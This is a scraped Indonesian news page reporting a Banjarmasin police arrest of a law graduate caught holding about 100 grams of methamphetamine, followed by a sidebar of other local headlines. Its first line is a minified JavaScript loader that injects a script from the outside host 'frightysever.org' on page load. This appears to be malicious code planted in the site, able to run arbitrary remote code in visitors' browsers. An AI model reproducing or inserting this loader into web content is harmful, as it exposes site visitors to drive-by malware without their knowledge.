(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Sarjana Hukum Melanggar Hukum, ARM Miliki Sabu 1 Ons di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki berinisial ARM (51) diamankan petugas Satresnarkoba Polresta Banjarmasin karena kedapatan menyimpan dan memiliki narkoba golongan I.

Dari tangan lelaki yang memiliki gelar Sarjana Hukum (SH) ini polisi mengamankan barang bukti sejumlah paket sabu yang total keseluruhan beratnya mencapai 1 ons. Terdiri 1 paket seberat 99,05 gram dan 4 paket dengan berat 1,33 gram.

“Barang bukti sabu yang diamankan total beratnya100,38 gram,” kata Kasatnarkoba Polresta Banjarmasin Kompol Mars Suryo, Rabu (24/10/2023).

Mars Suryo mengungkapkan, penangkapan pelaku dilakukan pada Kamis (19/10/2023) lalu, di halaman salah satu rumah makan di Jalan Ahmad Yani Km 4,5 Kota Banjarmasin, Kalimantan Selatan (Kalsel).

Baca juga: Rombongan Kemah Bakti Karang Taruna Kabupaten Banjar Dilepas Menuju Kotabaru

Sementara tempat tinggal pelaku sendiri beralamat di Jalan Ahmad Yani Km 3,5 Komplek Karang Paci, RT 05, Banjarmasin yang sehari-hari bekerja sebagai karyawan swasta.

Dijelaskan, barang bukti sabu seberat 99,05 gram didapatkan polisi di saku celana bagian depan sebelah kiri yang dikenakan pelaku. Sementara barang bukti 4 paket sabu lainnya yang terbungkus di kotak rokok besi ditemukan di saku celana bagian belakang.

Barang bukti lain yang juga diamankan diantaranya 1 unit handphone milik pelaku dan 1 lembar resi transaksi bank.

“Saat ini pelaku dan barang bukti sudah dibawa ke Mapolresta Banjarmasin untuk proses lebih lanjut,” kata Kasatnarkoba.

Baca juga: Terdakwa Korupsi Mantan Kadistan Balangan Minta Batalkan Dakwaan

Atas perbuatannya itu, pelaku ARM tercancam dijerat dengan Pasal 112 ayat (2) Undanng-undang Republik Indonesia Nomor 2009 tentang Narkotika. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

7 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

9 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

12 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

12 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

13 jam ago

This website uses cookies.